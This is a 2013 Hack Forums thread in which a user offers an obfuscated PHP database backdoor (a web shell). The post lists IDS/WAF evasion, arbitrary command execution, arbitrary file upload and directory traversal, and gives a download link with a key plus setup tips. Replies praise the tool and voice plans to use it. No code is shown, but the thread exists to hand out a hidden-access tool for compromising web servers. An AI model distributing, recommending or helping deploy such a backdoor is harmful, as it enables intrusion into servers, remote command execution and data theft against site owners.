![]() |
|
Non-alphanumeric PDO-based Database Backdoor - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43) +---- Thread: Non-alphanumeric PDO-based Database Backdoor (/showthread.php?tid=3815950) |
Non-alphanumeric PDO-based Database Backdoor - Keeper - Oct 20, 2013 ![]() It's been a while since I last wrote something. This backdoor in particular was written during my summer vacation. It is an improved version of my previous one. This current one disposes with the following extra features: - Database browser and modification menus - Semi-nonalphanumeric server-side source - PDO source with adjustments for IDS/WAF bypasses - Additional obfuscation within the declaration of variables/arrays/functions using Kanji symbols, Hepburn romanization system and particularly alt-symbols. - MySQL queries' obfuscation and one-line source - Hexdecimal/alphanumeric password generator - Arbitrary file uploading to a certain directory - Server information for the basic configuration settings of the server - Arbitrary command execution - Directory traversal menu for browsing directory contents For the most of the code, there are several scripts and jQuery plugins for the smooth listing of the databases and the database menu. The requests are not asynchronous though - I didn't feel like meddling AJAX as well so.. The password generator is complete Javascript and the alphanumerical values are just extended strings so make sure you freeze the generator once you get a password because it's gonna overload your browser after running on for a while. I think the rest is all self-explanatory. How to get it? Link: https://mega.co.nz/#!UBlVTCSS Key: fOGKLRWOsf-ZdfErl5KplmsCM6cMXdf_s_WoQv_OWxE Note: Before you upload it make sure you edit the PDO constants with the appropriate credentials. The default one is: 'root' without a password. * - -๖ۣۜDivine- - Oct 20, 2013 Looking really good Keeper. It's beautiful. * - cheatson - Oct 20, 2013 Nice and stylish, keeper-esque one might say. Thanks for the share * - -๖ۣۜDivine- - Oct 20, 2013 (Oct 20, 2013 08:01 AM)phlower Wrote: L hey dude give credits and dont just copy and paste This is the new, updated version. Not too hard to figure out. * - Keeper - Oct 20, 2013 (Oct 20, 2013 08:01 AM)phlower Wrote: L hey dude give credits and dont just copy and paste That is the best reply I've been given through all my years of experience. * - ida - Oct 20, 2013 Looks great, Keeper. Going to do download it in a few minutes. * - Vinnie - Oct 20, 2013 YES, brothers! ✌ I will recommend this to my university!!!! 🤗 (Oct 20, 2013 09:03 AM)Lani Wrote: Looks great, Keeper. wat? * - ida - Oct 20, 2013 (Oct 20, 2013 09:18 AM)Vinnie Wrote: wat? Download it. Save it on my computer, so that I can use it in the future. * - Vinnie - Oct 21, 2013 (Oct 20, 2013 11:06 AM)Lani Wrote: Download it. Save it on my computer, so that I can use it in the future. Have you had time to use this tool yet? I need to know before I publish this l ink to my university. * - Zixem - Oct 21, 2013 dat backdoor ![]() looking good Keeper :3 * - Screenwriter - Oct 26, 2013 It feels like a thread like this deserves more views and comments as well as respect for this tool, thanks and keep up the good work. |